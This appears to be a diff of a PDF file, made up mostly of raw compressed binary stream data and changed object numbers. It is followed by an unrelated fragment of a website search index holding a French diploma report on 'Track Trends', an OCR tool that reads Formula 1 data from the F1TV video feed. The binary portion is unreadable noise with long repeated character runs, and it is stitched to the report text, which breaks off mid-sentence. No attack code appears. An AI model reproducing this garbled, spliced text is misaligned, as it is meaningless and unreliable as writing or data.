2229 0 R /Length 3104347 >> stream @@ -148603,7 +170532,7 @@ V* X6::rškJ> -/SMask 1354 0 R +/SMask 2231 0 R /Length 3065065 >> stream @@ -160107,7 +182036,7 @@ y {Ȉ?U+ endstream endobj -1354 0 obj +2231 0 obj << /Filter /FlateDecode /Type /XObject @@ -160127,7 +182056,7 @@ stream x1 0gB*ؽpm9lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lP8lpرcAփ[ aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  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aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða؀ڱcAփ[aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68  aða0lp68 7 endstream endobj -1355 0 obj +2232 0 obj << /Type /XObject /Subtype /Image @@ -160142,7 +182071,7 @@ endobj /Columns 4961 /Colors 3 >> -/SMask 1356 0 R +/SMask 2233 0 R /Length 4740001 >> stream @@ -178028,7 +199957,7 @@ X 3=e1'ࡹOmΔEAџɝ5yBWژwf܋{O?pyztkϽџћ#r#,μ'{7^Nj;}'iLN^rv{>㇏mUls0Ԯ/=_;xhwwŒe8;ua?wj/Xx~j$돈GNiW ɩC㇏4oVOK33ӗL_މߥO>RVޓ쾴ys%UvZ> -/SMask 1358 0 R +/SMask 2235 0 R /Length 281568 >> stream @@ -178901,7 +200830,7 @@ O^ AAfiii5  rigӹ\òez(8sjqD}}ȑ#U9 heAdQifιmW̲ Ad@+   ,2^   \heAAAEZYAAAdVAAAYdEAAAheAAAEZYAAAdVAAAYdEAAAheAAAEZYAAAd M7- endstream endobj -1358 0 obj +2235 0 obj << /Filter /FlateDecode /Type /XObject @@ -178922,7 +200851,7 @@ x zu(8ް; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; "; ".{ endstream endobj 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]~ʞ&[oߧVQ+-LhOG-}WNq;Z#vWO!˯sS3Rdj;jes9)WcW)n'_kĮJ)v{s*{Fl}ZmG3v>=[jJ^9kص{^)>.v}NeH]S}&tпz#_ؾ^]+|vs+֧ϩk}jҲD9Woqzb ׫+y5b}xR=9=#uM޾OVZH;gўB-XO[ az5v%vFڽ[Bj_>gvJ>is:S_i/l_ƮSNֈ]9bSHkT#Z endstream endobj -1362 0 obj +2239 0 obj << /Filter /FlateDecode /Type /XObject @@ -213846,1377 +235775,8042 @@ mp5 QO\K]޾U/////Oo%_n;>Wz)p^k<^CyNOʾ>y~2}8gxw';////D&/1Ƕ* endstream endobj +2240 0 obj +<< +/Type /XObject +/Subtype /Image +/Width 945 +/Height 293 +/ColorSpace /DeviceRGB +/BitsPerComponent 8 +/Interpolate true +/Filter /FlateDecode +/DecodeParms << +/Predictor 15 +/Columns 945 +/Colors 3 +>> +/SMask 2241 0 R +/Length 10477 +>> +stream +xWsIAXzSjڌ;;b|8{sNll[7A @$)($LUBu&uSfVzggk|V H3avIcO'LC.rYsN[F`/*U_l1;sbĎ<1fԲY|t|>Z̨ˬWQrץRɤR}jm9F[/|}n`s|=44b-OmaakkkduU}A}r`dZ_Q?)W*mznnz|_6h!_?E`hhb$S{{6 +r9t&ުwιAQOa4sk6 76}] a*Ԭp`羾s~P40)AjUMuw|qkKiXc '@ v̉;QKJi|{R㣣-BV_[2lm}M6딯={~ך¬Vw?^,|s}_ݏ}}5{dRwK_|=|d#+KA!'O؈K?}z{7ΆϞrՠ~l?˟|}Ŗ/A.^XX39V_}4^>&[~׷oԧ_A[}i{F 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-{"config":{"indexing":"full","lang":["en"],"min_search_length":3,"prebuild_index":false,"separator":"[\\s\\-]+"},"docs":[{"location":"index.html","text":"Rapport Track Trends V1.0 Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023 Introduction R\u00e9sum\u00e9 Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires. Abstract Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it. Description du besoin Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable. Cahier des charges Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\" Cas d'utilisation '*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple. Diff\u00e9rences sur le cahier des charges [\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Planning pr\u00e9visionnel Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de 